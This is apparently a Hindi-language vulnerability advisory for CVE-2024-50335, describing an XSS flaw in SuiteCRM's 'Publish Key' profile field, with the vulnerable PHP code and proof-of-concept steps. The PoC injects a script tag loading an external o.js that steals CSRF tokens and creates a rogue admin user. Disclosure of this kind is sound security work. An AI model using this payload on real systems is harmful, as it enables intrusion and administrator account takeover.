CVE-2024-50335: 'Publish Key' फ़ील्ड में प्रमाणित XSS, अनधिकृत व्यवस्थापक उपयोगकर्ता निर्माण की अनुमति देता है

सारांश

SuiteCRM के Edit Profile पृष्ठ पर 'Publish Key' फ़ील्ड Reflected Cross-Site Scripting (XSS) के प्रति संवेदनशील है, जो एक हमलावर को दुर्भावनापूर्ण JavaScript कोड इंजेक्ट करने की अनुमति देता है। इसका उपयोग CSRF टोकन चुराने और अनधिकृत कार्य करने के लिए किया जा सकता है, जैसे कि उचित प्रमाणीकरण के बिना नए व्यवस्थापक उपयोगकर्ता बनाना।

विवरण

यह कमजोरी SuiteCRM अनुप्रयोग में Publish Key फ़ील्ड के अपर्याप्त इनपुट सत्यापन और स्वच्छता के कारण उत्पन्न होती है। जब कोई हमलावर एक दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करता है, तो यह एक प्रमाणित उपयोगकर्ता के सत्र के संदर्भ में निष्पादित होती है। इंजेक्ट की गई स्क्रिप्ट (o.js) फिर कैप्चर किए गए CSRF टोकन का उपयोग करके अनुरोधों को जाली बनाती है जो नए व्यवस्थापक उपयोगकर्ता बनाते हैं, जिससे CRM इंस्टेंस की अखंडता और सुरक्षा से समझौता होता है।

प्रभाव

यह कमजोरी एक गंभीर क्रॉस-साइट स्क्रिप्टिंग (XSS) समस्या है। इसके प्रभाव में शामिल हैं:

1. अनधिकृत व्यवस्थापक पहुंच: एक हमलावर नए व्यवस्थापक उपयोगकर्ता बना सकता है, संभावित रूप से CRM इंस्टेंस पर पूर्ण नियंत्रण प्राप्त कर सकता है।
2. CSRF टोकन चोरी: प्रमाणित उपयोगकर्ताओं की ओर से अनधिकृत कार्य करने की अनुमति देता है।
3. डेटा अखंडता से समझौता: उपयोगकर्ता खातों और सेटिंग्स में हेरफेर करने की क्षमता डेटा हानि, रिसाव या अनधिकृत संशोधन का कारण बन सकती है।

संवेदनशील PHP स्रोत कोड

$publish_key = $this->bean->getPreference('calendar_publish_key');
$this->ss->assign('CALENDAR_PUBLISH_KEY', $publish_key);

$publish_url = $sugar_config['site_url'] . '/vcal_server.php';
$token = "/";

$publish_url .= $token . "type=vfb&source=outlook&key=<span id=\"cal_pub_key_span\">$publish_key</span>";
$ical_url = $sugar_config['site_url'] . "/ical_server.php?type=ics&key=<span id=\"ical_pub_key_span\">$publish_key</span>";

$this->ss->assign("CALENDAR_PUBLISH_URL", $publish_url);
$this->ss->assign("CALENDAR_ICAL_URL", $ical_url);

PoC

1. मान्य व्यवस्थापक क्रेडेंशियल का उपयोग करके SuiteCRM में लॉग इन करें।
2. Edit Profile पर जाएं: व्यवस्थापक खाते के Edit Profile पृष्ठ तक पहुंचें।
3. 'Advanced' टैब के अंतर्गत 'Publish Key' फ़ील्ड में, निम्नलिखित स्क्रिप्ट इंजेक्ट करें:

<script src=//localhost:1235/o.js>

3. सुनिश्चित करें कि o.js localhost पर पोर्ट 1235 पर एक सर्वर पर होस्ट किया गया है, जो प्रदान किए गए JavaScript कोड स्निपेट में वर्णित एक्सप्लॉइट कोड प्रस्तुत कर रहा है।
4. व्यवस्थापक प्रोफ़ाइल में परिवर्तन सहेजें।
5. SuiteCRM पृष्ठ को पुनः लोड करने पर, दुर्भावनापूर्ण o.js स्क्रिप्ट निष्पादित होती है, CSRF टोकन चुराती है और इसका उपयोग निम्नलिखित क्रेडेंशियल के साथ एक नया व्यवस्थापक उपयोगकर्ता बनाने में करती है।

Username - imposter
Password - ok

7. सफल शोषण की पुष्टि करने के लिए नव निर्मित व्यवस्थापक उपयोगकर्ता क्रेडेंशियल के साथ लॉग इन करें।

https://github.com/user-attachments/assets/cdf96f3d-7f61-4371-818b-e344efdcd197

संदर्भ

• https://nvd.nist.gov/vuln/detail/CVE-2024-50335
• https://github.com/salesagility/SuiteCRM/security/advisories/GHSA-8rw6-g96j-3w7m